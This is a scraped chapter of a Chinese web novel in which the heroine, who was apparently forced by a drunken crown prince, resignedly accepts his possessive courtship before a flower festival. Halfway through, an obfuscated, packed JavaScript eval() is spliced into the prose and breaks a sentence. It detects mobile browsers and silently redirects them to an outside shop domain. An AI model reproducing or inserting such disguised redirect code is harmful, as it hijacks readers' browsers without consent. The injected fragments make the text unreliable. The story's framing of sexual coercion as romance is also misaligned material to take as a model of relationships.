文趣网 > 都市小说 > 月出云归 > 98. 第 98 章
    月出云头痛欲裂的醒来,她手撑在额头上,眼神茫然,好像还不知道发生了什么事。

    突然一个人靠近她,端来一杯水,放在她的唇边。

    “若若,喝点水吧。”

    月出云觉得嗓子哑,接过水就喝了下去。

    喉咙总算舒服了一些,月出云抬眼望向给她喂水的人,一张俊美的脸孔赫然出现在她眼前。

    昨晚的记忆如汹涌的浪潮浮现在脑海,也是这一张面孔,压制着她,为所欲为。

    月出云猛然用力,风神佑猝不及防,被她推至一旁,月出云下床就要往外面走去。

    “若若,你要去哪?”风神佑拉住她。

    月出云一声不吭,去什么地方都好,就是不想看到这一张脸孔。

    “我知道,昨天是我不对。”风神佑道:“我只是喝醉了,原谅我好不好?”

    月出云不管不顾,一门心思往外冲。

    风神佑从她身后搂住她的腰,将她牢牢禁锢。

    “若若,你要去哪里呢?”

    他的话语如同叹息,月出云澎湃的力量一瞬间就消散了。是啊,她能去哪里呢?天大地大,居然没有她可以容身的地方,她还能去什么地方呢?

    即使走出这一间屋子,难道其它地方就不在他的掌控之下了吗?

    月出云安静下来,不再挣扎。

    风神佑顺势一抱,将她放回床上。“若若,昨晚是我不好,我只是太激动,太想你,控制不住自己。若若,我们已经分开那么久了,可是再见面时,你为什么总是对我这么冷淡,我会受不了的。”

    风神佑握住月出云的手,这一次她没有躲开。“若若,我们从小一起长大,一同经历了那么多的事情,又分别了那么长,好不容易能够相逢,就不能够好好的过吗?忘掉以往的那些纷挣,再也不要分开,好吗?”

    月出云抬了抬眼皮看着眼前这个男人,随后慢慢垂下眼帘。

    风神佑忐忑不安。

    也许是他的话打动了月出云,也许是不想这样互相折腾下去。

    “行了,就这样吧。”月出云神情淡然,“你想怎样就怎样。”

    风神佑不敢相信自己的耳朵,神情惊喜,“若若,你这是答应了吗?”

    月出云垂头,声音有几分疲倦,“风神佑,我能不答应吗?我若不答应你就一直这样磨着拖着,不是吗?你又不放手,我也只能答应了。”

    也许烈女怕郎缠,月出云不想再和风神佑纠缠下去。

    风神佑紧紧抱住月出云,“若若,太好了,我好开心,我以为要等很久,当然不论等很久我都愿意,可是你现在就这样答应了,我觉得好像做梦一样,回到京城我们就成亲,从此之后再也不要分开。”

    月出云的手搭在他的肩膀上,“我们先不要成亲,可以吗?”

    “为什么?”风神佑道:“你方才不是说已经原谅我了,愿意和我在一起吗,难道是在骗我吗?”

    月出云道:“我要是和你成亲,今朝会死的,她会自杀。”

    风神佑轻蔑一笑,“他连我都不敢杀,又怎么会去自杀?一个小姑娘的气话,你不必放在心上。”

    月出云悠悠叹息一声,不再反驳,好像真的已经顺从。

    “太子殿下,宁州知府求见。”门外有待卫禀报。

    风神佑眉头一皱,神情不耐,他正月出云相处得融洽,好不容易有这么一个机会,偏偏有人要来打搅,正想要回绝,月出云却说知府可能有要事,让他快去。

    风神佑离去后不久,月出云趿着鞋子下床,打开房门,明晃晃的一片阳光,绝好的天气,与昨日的狂风暴雨,简直是两样。

    月出云抬头,便见站在院外的顾淮,她笑道:“你怎么在这里?快进来。”

    原本凌乱的室内早已收拾好,工工整整一点都不见昨日的狼那些翻倒的桌椅,扯坏的帘子,全部焕然一新。

    顾淮不动声色打量这个崭新的房间,他看着眼前的女子眉目含笑。

    “顾淮,你怎么这样看着我?我的脸上有什么吗?”

    “出云,昨日……”

    顾淮正要开口,月出云打断,“那是我和风神佑之间的事,顾淮,你就不要管了。”

    “你们和好了吗?”顾谁轻声问道。

    “不和好又能怎样?”月出云笑道:“他那样锲而不舍,矢志不渝,我又有什么办法呢?”

    顾淮仔细观察月出云脸上神色,没有任何的不满、不乐,也许她是真的想开了,毕竟,她是爱着风神佑的。

    对于所爱之人,自然会有更多纵容和忍让。

    “那就好。”顾淮只说了这三个字,便不知道说什么了。

    月出云随口问道:“对了,我听他们说这里离桃源镇很近,是吗?”

    “也不是很近,要经过两个县。”顾淮道:“不过这儿交通道路方便,快马加鞭三日便到桃源县。”

    “也不知道薛神医和扶风俩人怎么样了,不知道在做什么。”

    “他们两人还能做什么呢?大概就和我们没来之前一样,一人忙着制药,一人练剑,或者碰到像我们一样去向他们求医的人。”

    “不知什么时候还可以再去桃源镇。”月出云看着顾淮的眼睛道:“你说我还有这样的机会吗?”

    风神佑对月出云有着极为强烈的占有欲,恨不得天天与她在一起。简直不能够离开月出云半步,这种情况下。他根本就不会让月出云离开他独自去往桃源镇。

    “会有机会的。”顾洐道。

    月出云弯了弯唇角,“我也这样认为。”

    宁州知府向太子汇报本地民情、治安、钱粮情况等公事后,邀请风神佑赏花。

    时近重阳,府内菊圃开得正好,知府便引太子至花前同赏。园中多是金黄遍地,独有几丛白菊,瓣如堆雪,色洁霜明,香气清迥,在众菊间愈显珍异。

    宁州知府见太子目光流连,当即命人小心掘出数盆上品白菊,备妥精致盆盎,亲自奉赠,言道此乃府中经年培植的珍种,秋日独盛,愿献殿下,伴一路凯旋清赏,太子欣然收下。

    宁州知府受宠若惊,前日宴席上这位太子端严庄重,目不斜视,难以接近,今日却见他眉目舒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617361|204252||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    展,语气亲切。暗想这些菊花大概送的正合他的心意,不由窃喜。

    风神佑回来的时候,宁州知府送来的菊花也一同到来,风神佑命人全部放于月出云房中。

    这几株白菊花瓣如雪,一看便是珍品。月出云道:“可惜我们要赶路,也不知能不能养活,要是死掉就太可惜了。”

    “花总是会枯萎的。”风神佑折下一朵菊花簪在月出云的发间,“在它还没有枯萎的时候,能够最大限度的发挥它的作用。才不枉费盛开一场。”

    “你说的没有错。人生苦短,有花堪折。”月出云道:“确实应该及时行乐,莫负光阴。”

    月出云轻轻抚摸了头上的花瓣,风神佑找来一面镜子放在她面前。“若若,你看,此花名叫雪魄冰心,花瓣晶莹剔透,花香清冽,与你最为相配。”

    “果然是好名字。”月出云眼尾扫向他,“不过,我可没有这般高洁。”

    她的眼神似嗔似喜,柔媚如丝,风神佑心旌摇曳,心摇意动,如同被蛊惑了一般。慢慢挨到她身旁,见她没有拒绝,又靠近了一些,但是又不敢贴得太紧,怕她反感。

    “风神佑,后天就要启程离开了吗?”月出云问道。

    “按照行程确实如此。”风神佑道:“你有什么想做的事情吗?”

    “我听人说明天是宁州的花神节,很热闹。”月出云道。

    “你想去?”

    “我们俩一起去。”月出云道:“就一天,不会耽搁行程的。”

    风神佑含笑,“没问题,多留一两天,可以让将士们多休息一两天,无碍的。”

    宁州素有花城之称,最著名的莫过于三年一度的花神节,节日当天会选择最美丽的一个女子来扮演花神。

    花神坐在由鲜花装饰的车上,从城门开始,绕城一圈,这一日,街道两旁人满为患,只为了一睹花神的尊容,花神节前的好些天,很多人会在街道两边可以看花神的酒楼定上房间,以便楼上观看。

    月出云和风神佑便在其中一间酒楼里,视野最好的一层,等待花神车驾来临。

    两人坐着喝茶,月出云探向窗外,楼下街道两旁站满了人,花神的车驾还没来。

    月出云不急,花神总会来的。风神佑更不急,只要能和月出云在一起,他又怎会急呢?

    “来了,来了。”楼下传来叫嚷声,“花神来啦。”

    月出云起身探出头,果然看到远远有一辆花车,装饰华美,向这边行驶而来,车上女子头戴花冠,穿着碧螺高腰裙,衣襟上别着木芙蓉。

    女子容颜清丽,是难得一见的绝色。

    周围的人欢呼着向车上抛洒花瓣。

    月出云伸长脖子,上身向外倾斜,一只手拦在她的腰间。“若若,小心。”

    月出云提着事先准备好的花篮,将早已准备好的花瓣抛洒下去。

    整条街道下着花瓣雨。

    月出云一直忙个不停,整个人显出一种奇异的兴奋和快活,特别的激动,好像喝醉了酒,无法控制自己的行为,她不停的撒着花瓣,就连风神佑也觉得她好像过于兴奋了。